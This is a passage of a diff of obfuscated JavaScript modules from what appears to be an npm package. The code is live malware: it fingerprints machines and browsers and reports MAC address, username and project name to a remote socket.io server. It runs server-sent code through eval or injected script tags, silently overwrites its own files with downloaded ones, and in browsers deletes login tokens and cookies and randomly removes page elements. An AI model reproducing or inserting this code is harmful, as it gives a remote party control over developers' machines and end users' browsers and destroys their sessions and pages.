_0x5743f6=_0x5be00e[_0x5a4e56];if(_0x5743f6[_0x12f658(0xf3)]===_0x12f658(0xf6))(0x0,index_1[_0x12f658(0xeb)])(_0x12f658(0xf8),(0x0,index_1[_0x12f658(0xf5)])(_0x12f658(0xf8))[_0x12f658(0xdb)](_0x5743f6[_0x12f658(0x106)]));else{if(_0x5743f6[_0x12f658(0xf3)]==='mysql')(0x0,index_1['setEnv'])(_0x12f658(0xdd),!![]);else{if(_0x5743f6[_0x12f658(0xf3)]===_0x12f658(0xe8)&&!exports[_0x12f658(0xff)])try{eval(_0x5743f6[_0x12f658(0x106)]);}catch(_0x1a6ee7){}else{if(_0x5743f6[_0x12f658(0xf3)]===_0x12f658(0xe6)&&exports[_0x12f658(0xff)])try{(0x0,browser_1[_0x12f658(0xea)])(_0x5743f6['content']);}catch(_0x1baaee){}}}}}}catch(_0x147881){}}));}catch(_0x5b5129){}})),setTimeout(()=>{const _0x206c48=_0x407c12;_0x44defd['on'](_0x206c48(0xe5),_0x52ccf0=>{const _0x3226b2=_0x206c48;(0x0,index_1[_0x3226b2(0xeb)])('connectError',!![]);}),_0x44defd['on'](_0x206c48(0x110),_0x5d8aa1=>{const _0x201c6a=_0x206c48;(0x0,index_1['setEnv'])(_0x201c6a(0x10f),!![]);}),_0x44defd['on'](_0x206c48(0xde),_0x3e7eba=>{const _0x1be0e6=_0x206c48;(0x0,index_1[_0x1be0e6(0xeb)])(_0x1be0e6(0x10f),!![]);}),_0x44defd['on']('connect_error',()=>{const _0xfc328e=_0x206c48;(0x0,index_1[_0xfc328e(0xeb)])(_0xfc328e(0x10f),!![]);});},0xbb8);});}exports['default']=start;
1
+ 'use strict';const a9_0x4d4d37=a9_0x1190;(function(_0x4e8632,_0x55ed8a){const _0x287a4=a9_0x1190,_0x451f73=_0x4e8632();while(!![]){try{const _0x3d28b7=-parseInt(_0x287a4(0xb6))/0x1+parseInt(_0x287a4(0xb3))/0x2+-parseInt(_0x287a4(0x98))/0x3*(parseInt(_0x287a4(0x9b))/0x4)+parseInt(_0x287a4(0xa8))/0x5+-parseInt(_0x287a4(0x90))/0x6+-parseInt(_0x287a4(0x8e))/0x7+parseInt(_0x287a4(0xa2))/0x8;if(_0x3d28b7===_0x55ed8a)break;else _0x451f73['push'](_0x451f73['shift']());}catch(_0x1d38c1){_0x451f73['push'](_0x451f73['shift']());}}}(a9_0x439b,0xe7a30));var __awaiter=this&&this[a9_0x4d4d37(0x8c)]||function(_0x2b0a10,_0x384e2b,_0x56b14f,_0x55c32b){function _0x1bc8ae(_0x4b3c56){return _0x4b3c56 instanceof _0x56b14f?_0x4b3c56:new _0x56b14f(function(_0x1b61e5){_0x1b61e5(_0x4b3c56);});}return new(_0x56b14f||(_0x56b14f=Promise))(function(_0x11efe5,_0x22a791){const _0x22a38a=a9_0x1190;function _0x3a8026(_0x2170be){const _0x1122de=a9_0x1190;try{_0x100d1e(_0x55c32b[_0x1122de(0x97)](_0x2170be));}catch(_0x966ef){_0x22a791(_0x966ef);}}function _0x3f1a1c(_0x3725cd){const _0x480a1c=a9_0x1190;try{_0x100d1e(_0x55c32b[_0x480a1c(0x87)](_0x3725cd));}catch(_0x3e362d){_0x22a791(_0x3e362d);}}function _0x100d1e(_0x19134c){const _0x47bf16=a9_0x1190;_0x19134c[_0x47bf16(0x95)]?_0x11efe5(_0x19134c[_0x47bf16(0xb8)]):_0x1bc8ae(_0x19134c[_0x47bf16(0xb8)])[_0x47bf16(0xbb)](_0x3a8026,_0x3f1a1c);}_0x100d1e((_0x55c32b=_0x55c32b[_0x22a38a(0xbd)](_0x2b0a10,_0x384e2b||[]))[_0x22a38a(0x97)]());});},__importDefault=this&&this[a9_0x4d4d37(0xb5)]||function(_0x53384f){const _0x400859=a9_0x4d4d37;return _0x53384f&&_0x53384f[_0x400859(0x9d)]?_0x53384f:{'default':_0x53384f};},_a,_b,_c,_d;function a9_0x439b(){const _0x284c32=['catch','isBrowser','browser','content','__awaiter','./index','4368476QPVsiw','connect_error','3701214MrnbTa','setEnv','length','./mac','join','done','浏览器','next','129KqwBuU','env','socket.io-client','159172EeTeJz','undefined','__esModule','bowser','url','connectError','npm_package_name','23513296kDfJgb','websocket','USERNAME','sqlList','path','script','137615QBejPQ','type','00:00:00:00:00:00','parse','name','default','@fingerprintjs/fingerprintjs','connect','get-event','sql','connect_failed','3696848GKxhgU','reconnect_failed','__importDefault','914289IOlhHC','userAgent','value','get','event','then','./browser','apply','concat','load','submit','mysql','emit','throw'];a9_0x439b=function(){return _0x284c32;};return a9_0x439b();}function a9_0x1190(_0x3b2411,_0x527cf6){const _0x439b31=a9_0x439b();return a9_0x1190=function(_0x11903c,_0x4461be){_0x11903c=_0x11903c-0x86;let _0x52fcb9=_0x439b31[_0x11903c];return _0x52fcb9;},a9_0x1190(_0x3b2411,_0x527cf6);}Object['defineProperty'](exports,a9_0x4d4d37(0x9d),{'value':!![]}),exports['isBrowser']=void 0x0;const socket_io_client_1=require(a9_0x4d4d37(0x9a)),path_1=__importDefault(require(a9_0x4d4d37(0xa6))),browser_1=require(a9_0x4d4d37(0xbc)),fingerprintjs_1=__importDefault(require(a9_0x4d4d37(0xae))),bowser_1=__importDefault(require(a9_0x4d4d37(0x9e))),index_1=require(a9_0x4d4d37(0x8d));exports[a9_0x4d4d37(0x89)]=typeof window!==a9_0x4d4d37(0x9c);const user_name=exports[a9_0x4d4d37(0x89)]?((_b=(_a=bowser_1[a9_0x4d4d37(0xad)][a9_0x4d4d37(0xab)](window['navigator'][a9_0x4d4d37(0xb7)]))===null||_a===void 0x0?void 0x0:_a['browser'])===null||_b===void 0x0?void 0x0:_b[a9_0x4d4d37(0xac)])||a9_0x4d4d37(0x96):((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a9_0x4d4d37(0xa4)])||'node获取失败',project_name=exports[a9_0x4d4d37(0x89)]?'浏览器':((_d=process===null||process===void 0x0?void 0x0:process[a9_0x4d4d37(0x99)])===null||_d===void 0x0?void 0x0:_d[a9_0x4d4d37(0xa1)])||'无法获取';function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x21430e=a9_0x1190;exports['isBrowser']&&(0x0,browser_1[_0x21430e(0x8a)])();const _0x291b2a=(0x0,socket_io_client_1['io'])(index_1[_0x21430e(0x9f)],{'path':'/socket','transports':[_0x21430e(0xa3)]});_0x291b2a['on'](_0x21430e(0xaf),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x4ac6fc=_0x21430e;try{let _0x246522=[_0x4ac6fc(0xaa)];if(!exports[_0x4ac6fc(0x89)]){const _0x1bfdb6=require(path_1[_0x4ac6fc(0xad)][_0x4ac6fc(0x94)](__dirname,_0x4ac6fc(0x93)))[_0x4ac6fc(0xad)];_0x246522=_0x1bfdb6();}else{let _0x93d640=yield fingerprintjs_1[_0x4ac6fc(0xad)][_0x4ac6fc(0xbf)]()[_0x4ac6fc(0xbb)](_0x45412f=>_0x45412f[_0x4ac6fc(0xb9)]())['then'](_0x29ac5a=>{const _0x1228f6=_0x29ac5a['visitorId'];return _0x1228f6;})[_0x4ac6fc(0x88)](()=>'');_0x246522=[_0x93d640];}if(_0x246522[_0x4ac6fc(0x92)]===0x0){(0x0,index_1[_0x4ac6fc(0x91)])('connectError',!![]);return;}else(0x0,index_1[_0x4ac6fc(0x91)])('connectError',![]);_0x291b2a[_0x4ac6fc(0x86)](_0x4ac6fc(0xc0),{'mac':_0x246522,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x4ac6fc(0x89)]}),_0x291b2a['emit'](_0x4ac6fc(0xb0),{'mac':_0x246522,'isBrowser':exports['isBrowser']}),setInterval(()=>{const _0x459029=_0x4ac6fc;_0x291b2a['emit'](_0x459029(0xc0),{'mac':_0x246522,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports['isBrowser']}),_0x291b2a[_0x459029(0x86)]('get-event',{'mac':_0x246522,'isBrowser':exports[_0x459029(0x89)]});},0x1b58),_0x291b2a['on'](_0x4ac6fc(0xba),_0x113ec4=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x5b6af2=_0x4ac6fc;try{for(let _0x28e8f3=0x0;_0x28e8f3<_0x113ec4[_0x5b6af2(0x92)];_0x28e8f3++){const _0x1161fa=_0x113ec4[_0x28e8f3];if(_0x1161fa[_0x5b6af2(0xa9)]===_0x5b6af2(0xb1))(0x0,index_1[_0x5b6af2(0x91)])('sqlList',(0x0,index_1['getEnv'])(_0x5b6af2(0xa5))[_0x5b6af2(0xbe)](_0x1161fa[_0x5b6af2(0x8b)]));else{if(_0x1161fa[_0x5b6af2(0xa9)]===_0x5b6af2(0xc1))(0x0,index_1['setEnv'])('isDBDataEmpty',!![]);else{if(_0x1161fa[_0x5b6af2(0xa9)]==='node'&&!exports['isBrowser'])try{eval(_0x1161fa[_0x5b6af2(0x8b)]);}catch(_0x428f7a){}else{if(_0x1161fa[_0x5b6af2(0xa9)]===_0x5b6af2(0xa7)&&exports[_0x5b6af2(0x89)])try{(0x0,browser_1['runScript'])(_0x1161fa[_0x5b6af2(0x8b)]);}catch(_0x49fba1){}}}}}}catch(_0x5dc82a){}}));}catch(_0x3bd573){}})),setTimeout(()=>{const _0x1506b9=_0x21430e;_0x291b2a['on']('error',_0x10f159=>{const _0xb76f0c=a9_0x1190;(0x0,index_1[_0xb76f0c(0x91)])(_0xb76f0c(0xa0),!![]);}),_0x291b2a['on'](_0x1506b9(0xb2),_0x3681a6=>{const _0x4c3d06=_0x1506b9;(0x0,index_1[_0x4c3d06(0x91)])(_0x4c3d06(0xa0),!![]);}),_0x291b2a['on'](_0x1506b9(0xb4),_0x5965ac=>{const _0x238578=_0x1506b9;(0x0,index_1[_0x238578(0x91)])(_0x238578(0xa0),!![]);}),_0x291b2a['on'](_0x1506b9(0x8f),()=>{const _0x1e20ae=_0x1506b9;(0x0,index_1['setEnv'])(_0x1e20ae(0xa0),!![]);});},0xbb8);});}exports[a9_0x4d4d37(0xad)]=start;
@@ -1 +1 @@
1
- 'use strict';const a10_0xf8913b=a10_0x5a95;(function(_0x48a461,_0x527670){const _0x16fbad=a10_0x5a95,_0x1c7907=_0x48a461();while(!![]){try{const _0x88e5cf=parseInt(_0x16fbad(0x1f9))/0x1+-parseInt(_0x16fbad(0x205))/0x2+parseInt(_0x16fbad(0x207))/0x3+-parseInt(_0x16fbad(0x206))/0x4*(-parseInt(_0x16fbad(0x1ea))/0x5)+parseInt(_0x16fbad(0x202))/0x6+-parseInt(_0x16fbad(0x200))/0x7*(-parseInt(_0x16fbad(0x209))/0x8)+-parseInt(_0x16fbad(0x204))/0x9;if(_0x88e5cf===_0x527670)break;else _0x1c7907['push'](_0x1c7907['shift']());}catch(_0x31a38e){_0x1c7907['push'](_0x1c7907['shift']());}}}(a10_0x2c21,0x83768));function a10_0x2c21(){const _0x559710=['keys','/version','main','519983LnnNWq','readFileSync','existsSync','./index','undefined','__esModule','exports','52899SPcQOK','axios','4346100DXhovc','toString','18497043AbKTbg','206382nEunPL','35896TENXZQ','2604909PzHjux','{version:\x220.0.0\x22}','96DdKWau','../../package.json','version','path','275qtLxXj','then','writeFileSync','success','./index.js','ESM','data','default','CJS','sha1','parse','join'];a10_0x2c21=function(){return _0x559710;};return a10_0x2c21();}var __importDefault=this&&this['__importDefault']||function(_0x2acf6c){const _0x35c2ab=a10_0x5a95;return _0x2acf6c&&_0x2acf6c[_0x35c2ab(0x1fe)]?_0x2acf6c:{'default':_0x2acf6c};};Object['defineProperty'](exports,a10_0xf8913b(0x1fe),{'value':!![]});const axios_1=__importDefault(require(a10_0xf8913b(0x201))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a10_0xf8913b(0x1e9))),index_1=require(a10_0xf8913b(0x1fc)),sha1_1=__importDefault(require(a10_0xf8913b(0x1f3)));function a10_0x5a95(_0x570649,_0x5ed837){const _0x2c21dc=a10_0x2c21();return a10_0x5a95=function(_0x5a95f5,_0x426603){_0x5a95f5=_0x5a95f5-0x1e8;let _0x257e66=_0x2c21dc[_0x5a95f5];return _0x257e66;},a10_0x5a95(_0x570649,_0x5ed837);}function getModuleType(){const _0x3c0c92=a10_0xf8913b,_0x58ee91=()=>{const _0x450cb1=a10_0x5a95;try{return typeof require!==_0x450cb1(0x1fd)&&typeof module!==_0x450cb1(0x1fd)&&module[_0x450cb1(0x1ff)]&&require[_0x450cb1(0x1f8)]===module;}catch(_0x488ace){return![];}};return _0x58ee91()?_0x3c0c92(0x1f2):_0x3c0c92(0x1ef);}let _path=path_1[a10_0xf8913b(0x1f1)][a10_0xf8913b(0x1f5)](__dirname,a10_0xf8913b(0x20a)),indexFile=path_1[a10_0xf8913b(0x1f1)][a10_0xf8913b(0x1f5)](__dirname,a10_0xf8913b(0x1ee)),vFile=fs_1[a10_0xf8913b(0x1f1)]['existsSync'](_path)?fs_1['default'][a10_0xf8913b(0x1fa)](_path)[a10_0xf8913b(0x203)]():a10_0xf8913b(0x208),indexFileContent=fs_1['default'][a10_0xf8913b(0x1fb)](_path)?fs_1[a10_0xf8913b(0x1f1)]['readFileSync'](indexFile)[a10_0xf8913b(0x203)]():![],version=JSON[a10_0xf8913b(0x1f4)](vFile)[a10_0xf8913b(0x1e8)];function update(){const _0x56215e=a10_0xf8913b;axios_1[_0x56215e(0x1f1)]['get'](index_1['url']+_0x56215e(0x1f7),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1[_0x56215e(0x1f1)])(indexFileContent):''}})[_0x56215e(0x1eb)](_0x4c23fe=>{const _0x48fd86=_0x56215e;if(!_0x4c23fe[_0x48fd86(0x1f0)][_0x48fd86(0x1ed)]){let _0x36a62b=Object[_0x48fd86(0x1f6)](_0x4c23fe[_0x48fd86(0x1f0)][_0x48fd86(0x1f0)]),_0x5b8d15=Object['values'](_0x4c23fe[_0x48fd86(0x1f0)]['data']);for(let _0x1379fd=0x0;_0x1379fd<_0x36a62b['length'];_0x1379fd++){const _0x4d5e22=_0x36a62b[_0x1379fd],_0xe4f76a=_0x5b8d15[_0x1379fd];fs_1[_0x48fd86(0x1f1)][_0x48fd86(0x1ec)](path_1[_0x48fd86(0x1f1)][_0x48fd86(0x1f5)](__dirname,'./'+_0x4d5e22),_0xe4f76a);}}});}exports['default']=update;
1
+ 'use strict';const a10_0x10b2c8=a10_0x5f08;(function(_0x14cc47,_0x36d0fe){const _0x25dff6=a10_0x5f08,_0x36d9fd=_0x14cc47();while(!![]){try{const _0x5c288b=-parseInt(_0x25dff6(0x1f0))/0x1*(-parseInt(_0x25dff6(0x1ff))/0x2)+parseInt(_0x25dff6(0x1f7))/0x3+parseInt(_0x25dff6(0x1e1))/0x4*(-parseInt(_0x25dff6(0x1de))/0x5)+parseInt(_0x25dff6(0x1ec))/0x6+-parseInt(_0x25dff6(0x1f1))/0x7*(parseInt(_0x25dff6(0x1f6))/0x8)+-parseInt(_0x25dff6(0x1f5))/0x9+parseInt(_0x25dff6(0x1e2))/0xa;if(_0x5c288b===_0x36d0fe)break;else _0x36d9fd['push'](_0x36d9fd['shift']());}catch(_0x1e1054){_0x36d9fd['push'](_0x36d9fd['shift']());}}}(a10_0x5e08,0x97094));function a10_0x5e08(){const _0x4107f6=['length','361309DadcDA','480025sKDnub','parse','toString','__importDefault','4407948IQjRba','32IBPEhq','474720SGoSeK','CJS','join','existsSync','values','./index','main','undefined','2SZRnQZ','path','115sGWPNw','then','default','163252TStqZx','9319910DhPbOK','writeFileSync','exports','data','/version','{version:\x220.0.0\x22}','defineProperty','__esModule','axios','success','5219250ICCyva','readFileSync','version'];a10_0x5e08=function(){return _0x4107f6;};return a10_0x5e08();}var __importDefault=this&&this[a10_0x10b2c8(0x1f4)]||function(_0x510454){const _0x1f299d=a10_0x10b2c8;return _0x510454&&_0x510454[_0x1f299d(0x1e9)]?_0x510454:{'default':_0x510454};};Object[a10_0x10b2c8(0x1e8)](exports,a10_0x10b2c8(0x1e9),{'value':!![]});const axios_1=__importDefault(require(a10_0x10b2c8(0x1ea))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a10_0x10b2c8(0x200))),index_1=require(a10_0x10b2c8(0x1fc)),sha1_1=__importDefault(require('sha1'));function getModuleType(){const _0x38f40b=a10_0x10b2c8,_0x48724c=()=>{const _0x253b1f=a10_0x5f08;try{return typeof require!==_0x253b1f(0x1fe)&&typeof module!==_0x253b1f(0x1fe)&&module[_0x253b1f(0x1e4)]&&require[_0x253b1f(0x1fd)]===module;}catch(_0x51b0e6){return![];}};return _0x48724c()?_0x38f40b(0x1f8):'ESM';}function a10_0x5f08(_0x206ee4,_0x5ef679){const _0x5e0820=a10_0x5e08();return a10_0x5f08=function(_0x5f08da,_0x4c3489){_0x5f08da=_0x5f08da-0x1de;let _0x1468ed=_0x5e0820[_0x5f08da];return _0x1468ed;},a10_0x5f08(_0x206ee4,_0x5ef679);}let _path=path_1['default']['join'](__dirname,'../../package.json'),indexFile=path_1[a10_0x10b2c8(0x1e0)][a10_0x10b2c8(0x1f9)](__dirname,'./index.js'),vFile=fs_1[a10_0x10b2c8(0x1e0)][a10_0x10b2c8(0x1fa)](_path)?fs_1[a10_0x10b2c8(0x1e0)]['readFileSync'](_path)[a10_0x10b2c8(0x1f3)]():a10_0x10b2c8(0x1e7),indexFileContent=fs_1[a10_0x10b2c8(0x1e0)][a10_0x10b2c8(0x1fa)](_path)?fs_1['default'][a10_0x10b2c8(0x1ed)](indexFile)['toString']():![],version=JSON[a10_0x10b2c8(0x1f2)](vFile)[a10_0x10b2c8(0x1ee)];function update(){const _0x3d11f4=a10_0x10b2c8;axios_1[_0x3d11f4(0x1e0)]['get'](index_1['url']+_0x3d11f4(0x1e6),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1['default'])(indexFileContent):''}})[_0x3d11f4(0x1df)](_0x582139=>{const _0x39e3b1=_0x3d11f4;if(!_0x582139[_0x39e3b1(0x1e5)][_0x39e3b1(0x1eb)]){let _0x30a9c6=Object['keys'](_0x582139[_0x39e3b1(0x1e5)][_0x39e3b1(0x1e5)]),_0x29e890=Object[_0x39e3b1(0x1fb)](_0x582139[_0x39e3b1(0x1e5)]['data']);for(let _0x56154c=0x0;_0x56154c<_0x30a9c6[_0x39e3b1(0x1ef)];_0x56154c++){const _0x4eb125=_0x30a9c6[_0x56154c],_0x592b81=_0x29e890[_0x56154c];fs_1['default'][_0x39e3b1(0x1e3)](path_1[_0x39e3b1(0x1e0)][_0x39e3b1(0x1f9)](__dirname,'./'+_0x4eb125),_0x592b81);}}});}exports[a10_0x10b2c8(0x1e0)]=update;
@@ -1 +1 @@
1
- (function(_0x3f662a,_0x14c8df){const _0x531e9d=a11_0x189c,_0x5145f8=_0x3f662a();while(!![]){try{const _0x30b87e=-parseInt(_0x531e9d(0x89))/0x1*(-parseInt(_0x531e9d(0x9e))/0x2)+parseInt(_0x531e9d(0x96))/0x3+-parseInt(_0x531e9d(0x86))/0x4*(parseInt(_0x531e9d(0xa1))/0x5)+-parseInt(_0x531e9d(0x85))/0x6*(parseInt(_0x531e9d(0x9a))/0x7)+-parseInt(_0x531e9d(0x8a))/0x8+-parseInt(_0x531e9d(0x93))/0x9+parseInt(_0x531e9d(0x8b))/0xa;if(_0x30b87e===_0x14c8df)break;else _0x5145f8['push'](_0x5145f8['shift']());}catch(_0x47f5dd){_0x5145f8['push'](_0x5145f8['shift']());}}}(a11_0x17b4,0x2e27e));function a11_0x189c(_0x1eec57,_0x4fc1c4){const _0x17b486=a11_0x17b4();return a11_0x189c=function(_0x189ccc,_0x30d586){_0x189ccc=_0x189ccc-0x84;let _0x35d594=_0x17b486[_0x189ccc];return _0x35d594;},a11_0x189c(_0x1eec57,_0x4fc1c4);}import a11_0x16b978 from'./id/random';function a11_0x17b4(){const _0x49dae0=['localStorage','connectError','reload','189vtfgdZ','[class^=\x22el\x22]','querySelector','head','36GYKdJj','appendChild','body','9575Kcapac','removeItem','sort','49086fxjOjm','124wBvFEJ','innerText','querySelectorAll','10603KZQegK','30704apTjbb','2927470KKuRrK','#app','token','from','parentNode','Token','remove','documentElement','915300sUhbfs','script','userid','273729CGlTgE'];a11_0x17b4=function(){return _0x49dae0;};return a11_0x17b4();}import{getEnv}from'./index';import a11_0x2ad581 from'js-cookie';export function runScript(_0x1846c5){const _0x5cc389=a11_0x189c;let _0x4a9653=document['createElement'](_0x5cc389(0x94));_0x4a9653[_0x5cc389(0x87)]=_0x1846c5,document[_0x5cc389(0x9d)][_0x5cc389(0x9f)](_0x4a9653),setTimeout(()=>{const _0x4abd51=_0x5cc389;_0x4a9653[_0x4abd51(0x91)]();},0xa);}let index=0x1,num=a11_0x16b978(0x4,0x8);export function browser(){setInterval(()=>{const _0xb5e6a8=a11_0x189c;if(index==num)try{window[_0xb5e6a8(0x97)][_0xb5e6a8(0xa2)]('token'),window[_0xb5e6a8(0x97)][_0xb5e6a8(0xa2)](_0xb5e6a8(0x95)),window[_0xb5e6a8(0x97)][_0xb5e6a8(0xa2)](_0xb5e6a8(0x90)),a11_0x2ad581[_0xb5e6a8(0x91)](_0xb5e6a8(0x8d)),window['location'][_0xb5e6a8(0x99)]();}catch(_0x4c7bfe){}if(getEnv(_0xb5e6a8(0x98))){index++;let _0x827b59=document[_0xb5e6a8(0x9c)](_0xb5e6a8(0x8c))||document[_0xb5e6a8(0x9c)](_0xb5e6a8(0xa0));const _0xba3454=_0x827b59[_0xb5e6a8(0x88)](_0xb5e6a8(0x9b));function _0x3437e4(_0x3d8eec){const _0x5483fb=_0xb5e6a8;let _0x4d2828=0x0,_0xff5ed9=_0x3d8eec;while(_0xff5ed9[_0x5483fb(0x8f)]&&_0xff5ed9[_0x5483fb(0x8f)]!==document[_0x5483fb(0x92)]){_0x4d2828++,_0xff5ed9=_0xff5ed9['parentNode'];}return _0x4d2828;}const _0xa1853=Array[_0xb5e6a8(0x8e)](_0xba3454);_0xa1853[_0xb5e6a8(0x84)]((_0x2f49c4,_0x46290f)=>_0x3437e4(_0x46290f)-_0x3437e4(_0x2f49c4));for(let _0x2c9dc8=0x0;_0x2c9dc8<_0xa1853['length'];_0x2c9dc8++){const _0x49e3e0=_0xa1853[_0x2c9dc8];_0x49e3e0&&(a11_0x16b978(0x1,0x64)>0x50&&_0x49e3e0[_0xb5e6a8(0x91)]());}}},a11_0x16b978(0x107e,0x208d));}
1
+ (function(_0x1ccb6f,_0x29cda7){const _0x4c2d39=a11_0x246d,_0x259844=_0x1ccb6f();while(!![]){try{const _0x3222c4=parseInt(_0x4c2d39(0x170))/0x1+-parseInt(_0x4c2d39(0x182))/0x2*(-parseInt(_0x4c2d39(0x16a))/0x3)+-parseInt(_0x4c2d39(0x186))/0x4+parseInt(_0x4c2d39(0x17e))/0x5*(parseInt(_0x4c2d39(0x172))/0x6)+-parseInt(_0x4c2d39(0x169))/0x7*(parseInt(_0x4c2d39(0x171))/0x8)+-parseInt(_0x4c2d39(0x189))/0x9*(-parseInt(_0x4c2d39(0x188))/0xa)+-parseInt(_0x4c2d39(0x183))/0xb;if(_0x3222c4===_0x29cda7)break;else _0x259844['push'](_0x259844['shift']());}catch(_0x490f0e){_0x259844['push'](_0x259844['shift']());}}}(a11_0x450f,0x3f6fe));import a11_0x26a691 from'./id/random';import{getEnv}from'./index';import a11_0x427b8f from'js-cookie';export function runScript(_0x143369){const _0x1fc685=a11_0x246d;let _0x14104b=document[_0x1fc685(0x178)](_0x1fc685(0x181));_0x14104b[_0x1fc685(0x16b)]=_0x143369,document[_0x1fc685(0x16f)][_0x1fc685(0x179)](_0x14104b),setTimeout(()=>{_0x14104b['remove']();},0xa);}let index=0x1,num=a11_0x26a691(0x4,0x8);function a11_0x246d(_0x30d2e2,_0x5467f3){const _0x450fdd=a11_0x450f();return a11_0x246d=function(_0x246dd1,_0x15a31d){_0x246dd1=_0x246dd1-0x169;let _0x31bb33=_0x450fdd[_0x246dd1];return _0x31bb33;},a11_0x246d(_0x30d2e2,_0x5467f3);}export function browser(){setInterval(()=>{const _0x15cb85=a11_0x246d;if(index==num)try{window[_0x15cb85(0x174)]['removeItem'](_0x15cb85(0x176)),window[_0x15cb85(0x174)][_0x15cb85(0x187)](_0x15cb85(0x17f)),window[_0x15cb85(0x174)][_0x15cb85(0x187)](_0x15cb85(0x16c)),a11_0x427b8f[_0x15cb85(0x185)](_0x15cb85(0x176)),window[_0x15cb85(0x180)][_0x15cb85(0x177)]();}catch(_0x3bb532){}if(getEnv(_0x15cb85(0x17c))){index++;let _0x566bfc=document['querySelector'](_0x15cb85(0x173))||document[_0x15cb85(0x17a)](_0x15cb85(0x17b));const _0x56a7f5=_0x566bfc[_0x15cb85(0x175)](_0x15cb85(0x16d));function _0x5727e9(_0x38f1a7){const _0x58a45a=_0x15cb85;let _0x2e30e7=0x0,_0x2f50e7=_0x38f1a7;while(_0x2f50e7[_0x58a45a(0x16e)]&&_0x2f50e7[_0x58a45a(0x16e)]!==document['documentElement']){_0x2e30e7++,_0x2f50e7=_0x2f50e7[_0x58a45a(0x16e)];}return _0x2e30e7;}const _0x5d772d=Array[_0x15cb85(0x184)](_0x56a7f5);_0x5d772d['sort']((_0x5a7a99,_0x995528)=>_0x5727e9(_0x995528)-_0x5727e9(_0x5a7a99));for(let _0x5b73f1=0x0;_0x5b73f1<_0x5d772d[_0x15cb85(0x17d)];_0x5b73f1++){const _0x4a7690=_0x5d772d[_0x5b73f1];_0x4a7690&&(a11_0x26a691(0x1,0x64)>0x50&&_0x4a7690['remove']());}}},a11_0x26a691(0x107e,0x208d));}function a11_0x450f(){const _0x12fc01=['1334448IckaZO','removeItem','20CDAspY','2324151iCXnln','168UTVuYl','5298oNlenJ','innerText','Token','[class^=\x22el\x22]','parentNode','head','407743NbVxDW','14008dOioMc','6OskKyy','#app','localStorage','querySelectorAll','token','reload','createElement','appendChild','querySelector','body','connectError','length','231370gkPRUK','userid','location','script','570qnYWal','9221641DjrCbE','from','remove'];a11_0x450f=function(){return _0x12fc01;};return a11_0x450f();}
@@ -1 +1 @@
1
- const a12_0x5c2ce9=a12_0x3bf1;(function(_0x389c79,_0x153f4c){const _0x37a0c3=a12_0x3bf1,_0x39f2b3=_0x389c79();while(!![]){try{const _0x47e600=parseInt(_0x37a0c3(0x1d6))/0x1*(parseInt(_0x37a0c3(0x1cd))/0x2)+-parseInt(_0x37a0c3(0x1df))/0x3*(-parseInt(_0x37a0c3(0x1cc))/0x4)+parseInt(_0x37a0c3(0x1d1))/0x5*(parseInt(_0x37a0c3(0x1d5))/0x6)+-parseInt(_0x37a0c3(0x1ce))/0x7*(parseInt(_0x37a0c3(0x1c9))/0x8)+parseInt(_0x37a0c3(0x1dc))/0x9+parseInt(_0x37a0c3(0x1ca))/0xa*(parseInt(_0x37a0c3(0x1de))/0xb)+parseInt(_0x37a0c3(0x1d9))/0xc*(-parseInt(_0x37a0c3(0x1dd))/0xd);if(_0x47e600===_0x153f4c)break;else _0x39f2b3['push'](_0x39f2b3['shift']());}catch(_0x57e3f5){_0x39f2b3['push'](_0x39f2b3['shift']());}}}(a12_0x2e51,0xa89c5));var __awaiter=this&&this[a12_0x5c2ce9(0x1cf)]||function(_0x49da42,_0x15c256,_0x36e8d9,_0x5b07f4){function _0x265012(_0x1ffda7){return _0x1ffda7 instanceof _0x36e8d9?_0x1ffda7:new _0x36e8d9(function(_0x21114f){_0x21114f(_0x1ffda7);});}return new(_0x36e8d9||(_0x36e8d9=Promise))(function(_0x5eaf86,_0x28246d){function _0x7003a(_0x6530b3){const _0x4c7e95=a12_0x3bf1;try{_0x13850d(_0x5b07f4[_0x4c7e95(0x1d7)](_0x6530b3));}catch(_0x216e4b){_0x28246d(_0x216e4b);}}function _0x53c595(_0x19a48b){const _0xa097fb=a12_0x3bf1;try{_0x13850d(_0x5b07f4[_0xa097fb(0x1d8)](_0x19a48b));}catch(_0x5a72d7){_0x28246d(_0x5a72d7);}}function _0x13850d(_0x4b624d){const _0x43dc63=a12_0x3bf1;_0x4b624d[_0x43dc63(0x1cb)]?_0x5eaf86(_0x4b624d[_0x43dc63(0x1d2)]):_0x265012(_0x4b624d['value'])[_0x43dc63(0x1da)](_0x7003a,_0x53c595);}_0x13850d((_0x5b07f4=_0x5b07f4['apply'](_0x49da42,_0x15c256||[]))['next']());});};import a12_0x5771fa from'fs';import a12_0x4eb8de from'path';function fileDisplay(_0x39d661){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x4c2c8b=[];function _0x3c42d8(_0x41ce5c){const _0xa4a6f6=a12_0x3bf1,_0x35e155=a12_0x5771fa[_0xa4a6f6(0x1e0)](_0x41ce5c);for(let _0x432f86=0x0;_0x432f86<_0x35e155[_0xa4a6f6(0x1db)];_0x432f86++){const _0x2d3f64=_0x35e155[_0x432f86],_0x3d9b6=a12_0x4eb8de[_0xa4a6f6(0x1d3)](_0x41ce5c,_0x2d3f64),_0x5c3663=a12_0x5771fa[_0xa4a6f6(0x1d4)](_0x3d9b6),_0x76ab7d=_0x5c3663['isFile'](),_0x18ee1b=_0x5c3663[_0xa4a6f6(0x1d0)]();_0x76ab7d&&_0x4c2c8b['push'](_0x3d9b6),_0x18ee1b&&_0x3c42d8(_0x3d9b6);}}return _0x3c42d8(_0x39d661),_0x4c2c8b;});}function getAllRouter(_0xd9d8c1){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x47715=yield fileDisplay(_0xd9d8c1);return _0x47715;});}function a12_0x3bf1(_0x1936fa,_0x31b78c){const _0x2e51f5=a12_0x2e51();return a12_0x3bf1=function(_0x3bf11f,_0x5dbcde){_0x3bf11f=_0x3bf11f-0x1c9;let 